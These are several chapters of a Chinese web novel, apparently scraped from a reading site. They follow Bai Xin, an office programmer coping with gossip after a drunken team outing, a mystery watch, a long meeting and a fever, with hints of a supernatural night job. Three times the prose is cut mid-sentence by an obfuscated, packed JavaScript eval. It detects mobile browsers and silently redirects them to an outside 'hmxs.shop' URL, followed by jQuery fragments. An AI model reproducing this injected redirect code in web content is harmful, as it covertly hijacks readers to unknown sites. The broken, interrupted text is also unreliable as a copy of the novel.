红灯转绿,两人一路畅行。 邹家财说完后抿紧了嘴巴,默默在白心旁边骑着,时不时用余光瞟一下她。 白心的心情红灯转黑,本来就多云转阴的天一下子塌了,邹家财的话像几道雷猝不及防劈在她头上,劈得她外焦里嫩。 跳……舞?白心人在电驴上,灵魂已死在当场。跳舞是什么意思?她想,是字面意义上的跳舞吗? 邹家财看她面无表情,又说道:“还好,只有我们组和隔壁组的人看到了,放心。” 白心:…… “你真的一点都不记得了吗?”邹家财一边看她一边骑车,“还是组长把你从桌子上拉下来的。” 你别说了!白心崩溃得恨不能双手抱头大声尖叫,祛邪一样祛走邹家财。这是正常人干得出来的事儿吗?!她心里一万头羊驼奔腾而过,把她践踏得体无完肤。 她凌乱得要疯了,外表看起来却像已经走了有一会儿了一样平静,一句话都没说。邹家财在心里暗暗称赞,白心真是有一颗强心脏啊! 白心雷得摆不出任何表情,心想现在打电话给黑白无常说她要进地狱还来得及吗? 一路无话,两人很快骑到了第三个红灯。刚刚还着急赶时间的白心忽然觉得这条路怎么这么短,她现在好像也不是特别想去公司了。 “不……”白心看着红灯,对旁边的邹家财发号施令,“等会儿不许提这件事。” 就当什么都不知道。白心想,你不说,我不问,你一说,我惊讶,职场十二字诀是时候发挥作用了。 纵然她脸皮厚得像城墙、粘性堪比粘掉假牙的牛皮糖、在同事眼里是打不死的小强,但这件事还是有点超出她的承受阈值了。 她可以接受自己的真实死亡,但绝不能容忍自己社会性死亡。要知道她在公司的人设可是恬静淡雅温柔无害与世无争但又坚韧不拔的小白花形象,既符合她社恐不喜交流的真实性格,又能让人观感良好,挑不出什么大刺,完美避开职场上的各种脑残人事。 所以老板有时候把他们一顿辱骂,同事们都愁眉苦脸哀工作之多艰的时候,她反而像没事人一样该吃吃该喝喝。 这就是她,一朵生长在牛粪上的鲜花。在屎一样的环境里也能拼命汲取养分,努力向上生长。 但是现在忽然有个屎壳郎告诉她她当众吃了屎,白心想,老天爷爱看喜剧也不能这么玩儿她吧? “好,”邹家财答应得爽快,红灯又转绿,他率先骑走,“但你还是感谢一下组长比较好,是她送你回家的。” 组长?白心也跟上,组长还会送人回家? 公司所处地段较偏,此刻车流人流已经少了许多,白心跟着邹家财,心想组长这忙得堪比陀螺成了精、不苟言笑也没空笑、发起火来比两个陈灵还可怕的严厉暴躁女人还会送她回家? 按照组长的作风,顶多帮她叫个车,绝对不会亲自送她回家。白心心想这是什么情况,难道要给她升职了? 她一边想着,很快就骑到了公司楼下,把车停好后抬起手一看,八点二十六分。 哦吼,来不及了! 白心转身就跑,穿过小广场狂奔进公司所在的大楼,跑到电梯口,正好蹭上马上要关门的一部电梯。 “谢……谢谢……”她喘着气,努力挤进人群,成为压缩人干的一员。 这栋大楼一共有四部电梯,而她的公司在十九层。除了她所在公司,这栋楼里还有很多其他业务,比如保险、酒店、游泳健身等,所以直达是不可能直达的,必然要停个三四五六次。 不要问为什么公司没有自己的大楼,因为穷。 电梯缓缓向上,白心抱着帆布包,向后缩着身体,生怕碰到电梯门。 虽然碰到也没什么关系,但她就是莫名害怕这种门。忘了之前在哪看过的一个恐怖故事,一个人坐电梯,打开之后是一堵墙,还有一个人在医院坐电梯,结果打开门之后是太平间。 当时年纪尚幼的她吓得浑身冷汗,从此对这种空间内密闭空间外未知的设备有了淡淡的阴影,仿佛这不是一扇普通的门,而是通往未知世界的任意门。 “叮——”地一声,电梯缓缓停下,白心抬头一看,十三层。 门一开,身后的人鱼贯而出,白心感觉到背后一空,往后一看大半个电梯的人都出去了。 她松了口气,往后挪了几下,站在了较为空旷的电梯里。 她朝外看去,十三层是个保险公司,很多人从电梯出去后狂奔着跑向打卡机,她抬起手一看,八点二十八分。 只要别停,就不会迟到。白心想,抽卡还有保底呢,人不能也不应该倒霉到这个程度,可千万别停! 正想着,即将关闭的电梯门忽然被一只手扒开,白心一愣,看见一张熟悉的脸。 她愣在原地,嘴巴条件反射地开始打招呼:“组……组长好。” 张蔷用手扒开电梯门,轻喘着气,站在了白心旁边。 门再次慢慢关闭,这次没有人再进来了,砰地一声,电梯门在最后一下用力一合,带着剩下的牛马前往新的草料场。 白心站在原地,不敢抬头看旁边的女人。 虽然也有上周五社死的原因,但主要还是在于她确实不知道怎么和她交流。 张蔷名如其人,强势、霸道、攻击性和侵略性十足,白心被她劈头盖脸骂的次数两只手加上两只脚都数不过来,虽然对事不对人,她也从没放心里,但在白心眼里,组长张蔷是个眼里只有工作的超级工作狂,完全不知道如何和她拉家常。 当然她也不喜欢拉家常,白心想,估摸着组长也不会喜欢,正好不用说话了。 “酒醒了吗?”张蔷却忽然说道。 嗯?白心一瞬间错乱,是组长在说话吗? 张蔷向右转过头,微微低着头看着白心,笑着问道:“上周五喝的不少啊,白心。” 白心抬起头,看着这个比她高了一个半头的女强人,她连笑容都极具攻击性,令她不敢不回答。 “啊……”白心磕磕巴巴回答,“还,还好吧。” 张蔷还是看着她,又轻笑了一声:“舞跳得不错。” 白心:…… 刚还你不说我不问呢,装傻还没开始,组长就直接把屎糊她脸上了。什么职场十二字诀,在职场女强人面前通通没用。 白心低着头,脸憋得通红,说不出一个字。 “叮——” 还好电梯及时解救,张蔷大步走了出去,头也不回,完全没看到红得跟猴子屁股一样的白心的脸和她尴尬的表情。 唉。白心努力恢复平静,深吸了一口气,也慢慢走出了电梯。 算了,组长除外。她想,在其他人面前一定要装得什么都不知道。 白心走向打卡机,将自己的脸对上扫脸器,屏幕显示时间正好是八点二十九分五十九秒。 还好。她松了口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837069|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她踩点大王的桂冠暂时保住了。 白心目不斜视,径直走向自己的工位。她放慢脚步,把肩膀沉下来,提着的心也放下来,努力恢复平时淡雅无争的模样。 她的工位在最里面,一路要路过很多其他部门。 还好上周五的团建只有她们小组和隔壁小组,没有其他组和别的部门的人。白心的心情渐渐平静,还好还好,不是全公司性质的社死。 她走到自己的工位坐了下来,刚一坐下,肩膀就被人拍了一下。 果然来了。白心双眼一闭,心说来了,她的舞台剧观众来了。 “白心!”甜甜的女声在身后响起。 白心转过椅子,睁开眼,看见钱一茜也转过椅子笑着看着她。 钱一茜,她隔壁小组的成员之一,和她同为外包程序员。声音甜长相美宛如一颗奶油苹果,爱好八卦和美食,全公司上下没有她不知道的八卦。 白心一直觉得钱一茜做程序员有点屈才了,她去娱乐公司当狗仔应该早就财富自由了。小道消息也好公司通报也罢,她的消息总是先人一步。 那天团建她没去。白心看着钱一茜的笑容,但看她这副模样,应该也是知道了她的英勇事迹。 白心一直坚持着工作和生活分开的铁原则,所以她有两个手机,一个工作手机一个生活手机,下了班就把工作手机丢办公室,天打雷劈也不会带回去。 至于生活手机,没有添加同事的义务。 但是钱一茜不同,她只有一个手机,并且上面加满了同事。白心一直很佩服这种人,这种人忍耐力极强,下了班还能给同事好脸色和他们聊天,而她不仅懒得说一句话,还恨不能拿机枪把同事都扫了。 所以,现在的情况是,在白心毫不知情的情况下,两个小组已经把她的事传遍了。 还不知道传没传到其他部门耳朵里。白心看着钱一茜,心里隐约有种不妙的感觉。 邹家财坐在白心旁边,听见钱一茜的声音后也转过身,有点脸红地看着她:“一茜,你的伤……好啦?” “早好了,”钱一茜听见邹家财的话,抬起手给他看,“已经结痂了。” 白心这才看见,钱一茜的右胳膊肘有很大一块结痂,明示着这里曾经受过伤。 “什么事?”白心终于开口,虽然她也知道钱一茜要说什么。 “上周五……”钱一茜微笑地看着她,“你喝醉了。” 两人坐在自己的转椅上,互相看着,白心忽然觉得有点疲惫,回答道:“我知道,邹家财都告诉我了。” 虽然这件事确实很惊世骇俗,白心想,但至于人人都要说一嘴吗。好像平淡的生活中终于有个人脱下了面具愿意当众献丑,他们就要把这桩丑事变成永恒流传的笑料话题。 看别人出丑,就这么值得说道?她不理解,谁又不是生活的小丑呢,只是你们面具戴得稳而已。 钱一茜微微睁大了眼,说道:“那你还记得你喝醉之后,都发生了什么吗?” 一个两个都这么问。白心无语,淡淡回答道:“知道,在酒桌上跳舞嘛。” “不是,”钱一茜却轻皱眉头,说道,“我说的是你回家之后的事。” 白心看着钱一茜饱满的鹅蛋脸,忽然心跳漏了一拍——她为什么这么问? 她也皱着眉,回答道:“不记得了,怎么了?” 钱一茜继续问道:“那你的家里,有没有一块手表?” 32.新手表 什么意思? 钱一茜的话像一颗深水炸弹,猝不及防抛入白心平静的湖面,在她心底炸起一朵巨大的水花。 白心的眉毛拧紧,这下真是你一说我惊讶了——钱一茜怎么会知道她家有一只手表? “什么手表?”她面不改色地问道。 让一个人完整说出事件经过的最好方法就是向对方展示出你所知的信息为零。这是白心在粪坑一样的职场里吃了无数屎总结出来的经验,你可以不知道也可以全知道,但千万不能只知道一半,不然就会被人当枪使或者掉进更深的粪坑。 “就是一只普通的大众款手表,”钱一茜看着她,细细描绘道,“就是市面上最常见的那种,银色的。” 白心沉默,等待着她继续说。 钱一茜看白心一言不发,什么都不知道的样子,有点着急起来:“哎呀,就是这样的。” 她掏出手机,当着白心和邹家财两人的面点开相册,开始翻翻找找,找了半天,终于找到一张照片,把手机竖起来给她看。 白心看向她的手机屏幕,确实就是今早她发现的那只陌生银色手表。 “为什么要问我?”白心抬起眼,看着钱一茜漂亮的杏眼,说道,“跟我有什么关系?” 而且钱一茜手机里怎么会有手表的照片?装傻套话是一回事,她想知道真相也是真的。 “这手表是赵志雄的。”钱一茜也看着她,表情明显急促,微微泛红。 ——赵志雄?白心脑子里仿佛有个铃铛敲了一声,那天晚上非要和她喝酒的赵志雄? 白心朝钱一茜旁边不远处望去,赵志雄的工位没有人。 “所以呢?”她又把头转回来,“他的手表,干嘛要问我?” 钱一茜咬了一下嘴唇,明显没想到白心喝完酒失忆到这种程度,继续说道:“那天晚上,是他送你回家的呀。” 白心:? 她猛地看向旁边的邹家财——不是组长送她回家的吗?怎么又是赵志雄? 邹家财也睁着他的豆豆眼看着白心,然后耸了一下肩膀,表示他也不知道具体怎么回事。 “你……” 钱一茜正要继续说,邹家财却迅速把工位转了回去,还顺手把钱一茜和白心也转了回去,三人像玩旋转茶杯似的一秒转回自己的位置,安安稳稳地坐好了。 白心瞬间正襟危坐,收回自己乱七八糟的想法,赶紧启动工位的电脑,装作很忙的样子开始收拾她一贫如洗的桌面。 组长来了。 邹家财别的不行,对周围环境的敏锐度堪比猎犬,白心也因此躲过了很多死到临头的灾难。 上学的时候就有这种人,下课时和大家玩得好好的突然不说话了,或者突然转身回到自己的座位上,大家就知道,老师要来了。这种人在他们眼里比算命的还牛,算命的尚且需要起个卦或者掐指一算,而他们只靠直觉。 果然,十秒后,张蔷风风火火地来了。 白心的工位虽然在整个公司的最里面,但却在她们小组的最外面,张蔷站在她的旁边,和她只有一拳的距离,白心甚至还能闻到她身上的香水味。 像她高中时候的班主任。那时候因为个子矮,她总是坐前面,又因为和老师关系一般,所以墙边最后一组就是她的归属地。 她记得,靠墙的座位视野很差,只能斜着看黑板,但窗外的视野很好,学校外的景色一览无遗。所以她不想听课的时候总会转过头看着窗外发呆,班主任边讲课边走下讲台,走到她的旁边,把大腿靠在她的桌子上。 她的头上是班主任洪亮的声音,眼里却是窗外寂寞的街景。她躲在班主任的视角盲区,沉浸在只有她一个人的天地里。 张蔷大手一挥,声如洪钟:“开会!” 言简意赅,符合她一贯的作风。 邹家财抱着文件夹,拿着纸笔迅速起身,旁边的同事也纷纷站起来,只有白心轻轻叹了口气,从回忆里挣脱,随便找了个文件夹掏出张废纸,又从笔筒里拿了支不知道写不写得上的圆珠笔,慢慢站了起来。 辞职的事等会儿再说吧。 两个小组的人一起往前挪动,前往同一个会议室开会。白心跟在邹家财后面,游魂似的慢慢走着,仿佛被工作掏空了全身的力气。 是不是全世界的公司周一都要开会?她叹了口气,莫名其妙想起了昨晚着急忙慌的朱萸。 ……连地府星期一也要开会。 她随便找了个位置坐下,看着讲台前动作麻利又干练的张蔷,心想这种人才是世界上的BUG吧? 陈灵也是,白心想,怎么会有人精力高到这种程度?她们一早上干的事情足以让她瘫在家里缓上一个星期,人与人之间的差距不仅比人和狗大,她想,甚至比人和鬼还大。 张蔷还在前面调试设备,大家坐在下面无所事事,开始窸窸窣窣说起话来,白心也掏出自己的手机,准备打开小某书随便看看。 大家讨论的声音越来越大,然后突然停了。 怎么了?白心刚掏出手机玩了不到两分钟,就感觉到四面八方投来一道道炽热的目光。 她抬起头,大家却又把目光收了回去,继续互相说着话,时不时用余光瞟一下她。 白心:…… 无聊。白心撇了下嘴,心想上周她的笑话还没看够吗,两天过去了还要说,你们的人生真是无聊透了。 手机轻微一震,白心低头一看,陈灵给她发信息了。 她的心里不知怎的忽然一暖,这个女人平时不是忙得跟她一句话都说不上吗,怎么星期一的早上还跟她发消息。 她点开对话框,看见陈灵发过来的是一张图片。 图片里正是昨天早上她在家选的那只手表。 其实当时她根本没看清,但是为了迅速回复陈灵的问题,她只好在陈灵模糊的镜头画面里凭直觉选了一个还不错的。 现在她看清了,这是一只玫瑰金的儿童手表,像某士尼经典款。 手表被陈灵装在配套的白色礼盒里,款式略显幼稚但是确实好看。白心看到礼盒背后是一张浅白色的桌子,明白陈灵应该是出差还没回来。 因为陈灵的办公桌是暗红色的。 两人平时工作时间很少交流,但不代表她们互相不了解。仅仅认识三年,已经到了白心一撅屁股陈灵就知道她要放什么屁,陈灵一张口白心就知道她要用什么语气和措辞骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841590|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的程度了。 陈灵:好看吧?明天给你拿过来。 白心微微一笑,回复道:嗯,明晚来我家吃饭。 陈灵:嗯。 对话结束,这就是她们平时在手机上的交流。她往上翻了翻,她俩的对话一直都是这么简洁但信息明确。 陈灵在生活中是个愿意与时俱进追随新潮的中年人,但在电子设备信息智能这一块还是略有欠缺,还保留着她年轻时用诺基亚发短信的那种习惯。 白心则恰恰相反。白心对生活中的一切新事物都没有太大的热情,唯独对手机里的各种信息软件感兴趣,陈灵用自己的双脚看世界,而一部手机就是白心全部的视野。 “好了,”张蔷终于调试完设备,大声说道,“都安静一点!” 喧哗的人群立刻噤声。 白心也关闭手机,把手机翻面扣在桌面上,抬起头准备开始左耳进右耳出。 这次是老项目总结会议和新项目启动会议。白心看着PPT上硕大的几个字,知道这会前半截也没必要听了。 总结有什么好听的?她一直这样认为,一个项目做完了就做完了,还有什么可总结的?人类从历史中学到的唯一教训就是人类无法从历史中学到任何教训! 她两眼一闭,准备开始睡觉。 然而后背突然被人用手指一戳,白心睁开眼睛,感觉到后面有人叫她。 回头一看,一只细长的手伸了过来,手心放着一块圆圆的巧克力。 抬起头,钱一茜正甜甜地看着她笑。 “给你。”她轻声说道。 白心看着巧克力,明白美食大王又来布施了。她回过头,后背靠在椅子上,不动声色地把手从座位底下往后伸,翻转手掌,好让钱一茜把巧克力放她手上。 “谢谢。”她也轻声回复。 上学的时候也有这种人,热衷于把吃的散布给同学们,在一帮屁孩眼里简直是零食的神,哪怕是五毛一包的辣条吃起来也堪比人间珍馐。 小时候的白心没有过这种被人拥簇成神的体验,因为她是站在旁边眼巴巴等着神发放零食的馋鬼一员。 白心把手收回来,金纸包装的巧克力安静躺在她的手心。 钟榆。 记忆里融化的巧克力和她的手掌重叠,她的眼前又浮现出钟榆模糊的脸。 钟榆胆小、爱哭、不懂反击,但是会勇敢地跑过来送给她一块巧克力。 那时候她还没有进化成爱吃零食的馋鬼,钟榆也不是乐善好施的零食之神,那块巧克力也没有这么昂贵,而是市面上最常见的代可可脂,甚至都不能称之为巧克力。 那是她们短暂的友谊存在过的强有力的证明。 白心看着手掌发呆,眼见巧克力又要融化,迅速把包装纸剥开,一秒把巧克力送进嘴里。 嗯,很苦。她想,不如代可可脂。 山猪吃不来细糠,白心想,那又怎样,她就乐意当山猪,最好能一头创死所有脑残同事。 巧克力在嘴里融化,白心感觉到后背又被人一戳,回头一看,钱一茜从座位下方伸出了她的手机,手机上是一个巨大的二维码。 “加我好友吧?”她说。 33.白心的一天 一场会从早开到晚,上午总结会下午启动会,中午留了二十分钟时间给每个人吃午饭,还是大塑料盒装的让人毫无食欲的盒饭。 白心刚加上钱一茜好友,两人手机就被纪律委员赵璐抽走,就这样她和相伴多年的爱机分离,美食大王也失去了她的八卦神器。 赵璐其实是行政部人员,但在这降本增效的大环境下基本都是一人身兼多职,除了白心这种用完就丢随时都可能打包滚蛋的外包人员外,她们公司的正式员工基本都和赵璐一样,身上有干不完的活儿。 自己的事还没干完,还要来管一群开会连自己的嘴都管不住的小学生都不如的大人,赵璐明显心态略崩,看见白心和钱一茜交头接耳,气得她毫不留情抢走两人的手机,伸出手指对着她俩点兵点将:“你,还有你,罚款一百!” 其实根本不会罚。白心知道,她也只是发发脾气而已。 她们公司有两个人是最不能惹的,一个是工作中的张蔷,另外一个就是星期一的赵璐。惹了这两个人,或许你不会失去实际的金钱,但你一定会获得不好受的一整天。 至于白心,惹了就惹了。把她惹毛她也只会毛茸茸地滚开、一怒之下怒了一下、踢到她也算是踢到棉花了这样子。 不是脾气软,而是没必要。白心一直认为,只要不扣钱,没有人能使她平滑的甲状腺和乳腺变异,打工是来赚钱的,不是来和人生气的。 她只能允许自己的钱变成身上的脂肪和大便排出去,决不允许到手还没捂热的钱变成医院缴费处一串冰冷的数字。 不生气,不生气。 赵璐收完手机后细长的马尾一甩,离开了白心所在的会议室,前往另外几个会议室抓人去了。 白心和钱一茜对视一眼,都无奈一笑,明白这天是聊不成了。 钱一茜向后一仰,背靠椅子,准备开始听讲,白心也转过头,坐姿端正,抬起头来认真听张蔷的汇报。 工作手机也没带,这下是不得不听了。 也不知道过了多久,当白心觉得自己的大脑已经糊得可以去刷墙的时候,张蔷终于停了下来,说大家休息一下。 她抬起手腕一看,正好十二点。 放下手,桌子上多了一盒饭和一部手机,一抬头,赵璐已经没了早上那股生气时的精神,正一脸疲态地抱着盒饭给每个人分发。 唉,都不容易。白心打开盒饭盖子,掰开一次性筷子,同时打开手机,准备找个动漫边下饭边吃。 刚一开机,几条消息就弹了出来。 白心点开某信,看见白子涵发来几条信息。 嗯?她有些奇怪,这大中午的,白子涵不应该在家吃饭或者睡午觉吗,怎么给她发起信息来了。 而且,白子涵也从来不和她聊天,俩人认识十多年了加起来说的话还没她认识钟槐两天说的话多。 第一条信息,早上九点二十分,白子涵:姐,你在吗? 第二条信息,早上十点三十分,白子涵:姐,你在不在啊? 第三条信息,中午十一点三十五分,白子涵:姐,看到信息了回复我一下。 白心看着白子涵这一连串的消息,心里莫名其妙,他这是吃错什么药了?还是想逃课去网吧没钱了来找她要? 白子涵比她小八岁,今年十七,还有一年就要高考。此时正值暑假,舅舅舅妈生怕他在家沉迷网络游戏,强行给白子涵报了一连串补习班,当然报名是一回事,去不去就是另一回事了,白心知道白子涵的心思从来就没放在学习上过。 -干嘛?她编辑了两个字,发了过去。 很快,对话框顶端变成了“对方正在输入”,白心看着白子涵中二的黑色机车头像,心说我倒要看你能放出什么屁。 然而,对方正在输入显示了快十分钟,白子涵还是一个字都没蹦出来。 -什么事?她又编辑了一条,边打字边往嘴里喂了一口菜,难吃得她差点吐出来。 低头一看,本来为数不多的辣椒炒肉的猪肉上面还有几根猪毛。 “……” 算了,白心把肉挑走,将就吃吧,比没得吃要强。 白子涵在手机那头编辑了半天,发过来两个字:没事。 白心:…… 神经病。她在心里骂了两句,关闭了对话框,打开动漫软件接着上次没看完的开始看。 然而刚看了几秒,她就觉得饱了。白心又低头一看,饭才吃了一半,实在是吃不下去了。 不是要故意浪费,而是她的胃很早就坏了。虽然不是很严重,但常年的不规律作息和吃饭让她早早就患上了慢性胃炎,动不动胃胀气,经常一吃就饱。 她的家里有很多药,一大半都是治胃痛的,其中一半是她根据自己的经验买的,另外一半是陈灵问了她的医生好友后帮她买的。 她妈没走的时候,她尚且能规律吃饭、吃得饱饭。她妈走后,搬进舅舅家,天天和白子涵抢饭吃,虽然不至于吃不饱,但吃不好是常态。 哪怕是复习到半夜,她也不能站起来为自己煮一碗荷包蛋挂面,因为那不是她的家,而且会吵到舅舅舅妈和白子涵睡觉。 她在长势最凶最旺、对食物最如饥似渴的年纪,经常饥肠辘辘地入睡。 白心叹了口气,把盒子重新盖好,同时关掉手机,开始闭目养神。 她妈的脸忽然在脑海里浮现。 很奇怪,为什么吃饭的时候会想起她?白心闭着眼,觉得眼眶开始不受控制地发热。 明明她现在想吃就吃,偶尔还能吃顿好的,为什么会想起她妈半夜给她煮的那一碗难吃得不行的荷包蛋挂面? “吃饱了吗?”熟悉的女声在头顶响起。 她睁开眼,抬起头看到张蔷正微笑地看着她。 “啊,”白心立即深吸一口气,把眼泪吸回去,干笑着回答,“吃饱了,组长。” 张蔷点点头,把她的剩饭收走,转身丢进垃圾桶,又转过身拿着手机,给出一个带着她头像的二维码。 “加我好友吧,”张蔷说,“我一会儿有事和你说。” 白心没有犹豫,立即打开手机扫一扫,添加上了张蔷。虽然不知道组长要干啥,但是执行命令就完事儿了。 张蔷虽然强势,但是指令从来没有出过错,在她们公司堪称指挥之神,对形势和危险的判断精准得如同计算机。 扫完,张蔷收起手机,对白心微微一笑,转身回到了讲台。 下午的会议开始了。 白心看着手机里张蔷的头像,和她在地府通讯录上的头像一样,实名制。白心很佩服,这种人是另一种意义上的心理素质极强,用自己的照片做头像的人,除了分不清好赖心里对自己没数的自大狂,就是张蔷这种专业和心理素质都过硬、不惧别人眼光的人。 自信、强大,白心看着讲台上的女人,心说下辈子吧,下辈子再投胎成这样的人。 吃完午饭,大家纷纷回到自己的座位准备开始第二轮长征,白心也识相地把自己的手机主动交给了赵璐,也免得她再生气一次。 钱一茜也交上了自己的手机,主要是她不交赵璐也会来找她要,作为八卦之王,她的手机跟抗战时期的电报机没啥区别。 两个小组二十来个人重新坐好,静静聆听张蔷接下来汇报。 白心趴在桌子上,一边看PPT一边走神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845970|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 好难混。她想,开个会怎么会这么度日如年,上学的时候也没有手机玩,怎么没觉得这么难受呢。 白心一边听着,另外一半脑子又飞走了。这是她上学时练出来的绝技,就是一块大脑分两半,一半做正事,另一半走神,和站着睡觉的马一样,马一边站着一边睡,而她一边考试一边走神。 新项目也没多新,她听了听,又是新瓶装旧酒,毫无新意的点子。 也是,她又想,真正的大项目大开发哪轮得到她们来做呢,况且该研究的那些头部公司也都研究得差不多了。 然而张蔷就算是讲换汤不换药的旧点子也能讲得慷慨激昂,白心一边听着她激情澎湃的声音一边想,这种人就是天生的打工圣体。 很快,一下午就在众人的备受折磨中渐渐过去,白心听得脑仁都隐隐作痛了,看见窗边夕阳都开始西下,张蔷才终于结束今天的会议。 一个会开了一天。 虽然什么也没干,白心想,但这钱也不好赚。她直起身来,感觉她的腰已经僵硬了,屁股也失去知觉很久了。 人群又慢慢站起来,跟僵尸一样缓缓向外挪动。赵璐又跑进来给大家发手机,拿到手机的一瞬间白心朝讲台看了看,张蔷正被隔壁小组的几个人围着,脱不开身。 算了,她也站起来,回家再说。 反正已经加了好友,白心想,有什么事可以在手机上聊。而且组长加她还能有什么事,无非就是工作,总不可能和她聊家常吧。 白心拿着丝毫没动的纸笔起身,转身看见钱一茜跑向她们小组的一个女生,把胳膊挂在女生的脖子上,活力四射得根本不像开了一天的会。 白心轻轻一笑,自己这什么都没干的一天,却加上了公司的两个同事。 看来这职一时半会儿是辞不了了。 白心跟着人群往外挪动,不知不觉就挪到了自己的工位,看见大家该收拾的收拾,该走人的走人。 不管了,先下班! 一想到下班,白心瞬间恢复了一半活力,生怕被公司什么人缠上,背上自己的包转身就朝打卡机跑。 打完卡,她又狂奔向电梯,随机挤上一台,不管上还是下,总之先进去。 只要不在公司,在哪儿都好。白心看着关闭的电梯门,心里微微松了口气。 电梯下行,白心提了一天的心也渐渐放下,毕竟无论怎么放松,在公司始终还是要绷着一根弦。 电梯停下,她跟着人群走出公司大门,微风一吹,她顿时觉得自己活过来了。 她抬起头,看着天边绚烂的晚霞,心说人就不该打工。 白心找到自己的电动车,和早上一样的步骤启动,原路返回慢慢朝着自己的家骑回去。 这就是她的一天。白心骑着电驴,头上的天空是美丽的火烧云,然而她却不能抬头去看,只能目视前方。和世界上大部分人一样,不停地向前奔跑、加速、超越许多人,却无法为一片美丽的云停留、拥有片刻的永恒。 她骑出公司、骑过三个红绿灯、骑进小区,看见小区里还是热闹非凡的模样。 下班的下班,放学的放学,老人们和小孩们都在楼下玩耍,白心路过他们,停好车,背上自己的包走向自己的家。 路过二楼的时候她犹豫了一下,想到裤子还没洗,还是洗好后再还给左慈。 这次也没有遇见邻居,白心一路向上,直到开门进去邻居也没现身。 但是她也管不了这么多了。 白心把包一丢,踉跄了几步,倒在了自己的床上。她闭上双眼,感觉到浑身开始发热,但又觉得冷,冷热交替让她忍不住发抖—— 发烧了。 34.沉默的幼儿园(一) 睁眼已是午夜。 发烧的感觉并不好受,尽管睡着也睡得不安稳,白心闭着眼,感觉自己的身体漂浮在冰川和火山之间,轻飘飘却又十分沉重。 难受。 仿佛有一万只高温蚂蚁在身上爬,咬一口却是冷到骨子里的冰凉,寒热来往的感觉让白心浑身难受。不知道过了多久,这种狗皮膏药般甩也甩不掉的难受感觉突然间消散,白心感到身体忽然轻快,睁开眼,熟悉又轻盈的感觉降临。 十二点了。白心看着天花板,明白这是自己的灵魂到点上班了。 她坐起来,发现自己不知道什么时候睡到了床的正中间,明明回家的时候是一头栽倒在床尾的姿势。 并且还穿着睡衣,扎的马尾也变成了披发。 嗯?她回头一看,自己的额头上还有一条毛巾,再往旁边一看—— 陈灵来了。 白心有点懵,似乎是烧得太厉害,搞得她的灵魂也受到了些许影响,此刻呆呆愣愣地看着睡在她旁边的女人,有点反应不过来。 她啥时候来的?白心看着熟睡中的陈灵想,她不是明天才回来吗? 陈灵以侧躺的姿势睡在白心旁边,一只手还放在白心的额头旁,似乎是随时准备查看她的体温。白心朝另一旁看去,小黑也盘在她的身边熟睡着,一人一猫像两个守护神守在发烧的白心身边,令她一米五的小床变得略微拥挤。 浅白色的月光洒了进来,透过薄纱窗帘照在她们仨身上。白心看到自己眉头微蹙,呼吸有点急促,她转过身,鬼使神差似的把手放在自己的脸上。 不烫了。白心松了口气,还好不烧了,不然烧成傻子了。 下一秒,她又鬼使神差似的伸手,朝陈灵的脸摸去—— 摸不到。 嗯?白心看着自己没进陈灵脸颊的手,手上任何触觉都没有,只能摸到自己吗?那—— 她把手收回来,把脸凑近陈灵的头,轻轻朝她头发吹了口气—— 吹动了。 哎嘿!白心恶作剧得逞了一般邪恶一笑,看见陈灵的头发被她吹得向上飘了一下,虽然力度不是很大,但还是略有成效。 累得已经睡着的陈灵感觉到自己的头上突然一痒,举起右手在头上抠了抠,然后突然惊醒,想起了什么似的猛地一睁眼,右手迅速朝旁边伸去—— 不烫了。陈灵也松了口气,终于放下心来,把白心额头上的毛巾拿掉,给她把被子掖好,沉沉睡去了。 看来是提前回来了。白心跪坐在床上,看见陈灵旁边的床头柜上放着一个带勺子的玻璃杯,旁边还有两包拆了封的柴胡颗粒。 药也吃了。白心了然,怪不得烧退得这么快,原来是陈灵已经给她吃了药。 呼——她终于清醒,也终于放下心来。 只是明天应该免不了要被陈灵骂一顿了。她笑了一下,突然觉得自己也不算太倒霉。 纵然她熬夜成瘾、经常昼夜颠倒、不按时吃饭,趁着年轻作恶多端、弃这具肉身于不顾,老天爷也经常用各种小病小痛折磨她——也有陈灵给她兜底。 手腕猛地一震,提醒白心她要开始执行任务了。白心抬起手,看见时间已经到了零点二十分。 她毫不犹豫地下了床,径直朝她家大门走去。 时间就是金钱,金钱就是功德,赚功德要紧。 白心穿过自家大门,刚穿到楼道,头顶的灯就闪了一下,似乎是感应到了她的行踪。 原来鬼片里不是演的啊?白心想,除了人,还真是什么东西都能感觉到鬼的存在。 她朝楼下走去,边走还不忘回头看一眼她邻居的家——这次倒是很安静,没有跑出来偷窥她。 算了,她又把头转回来,监控到了再说。 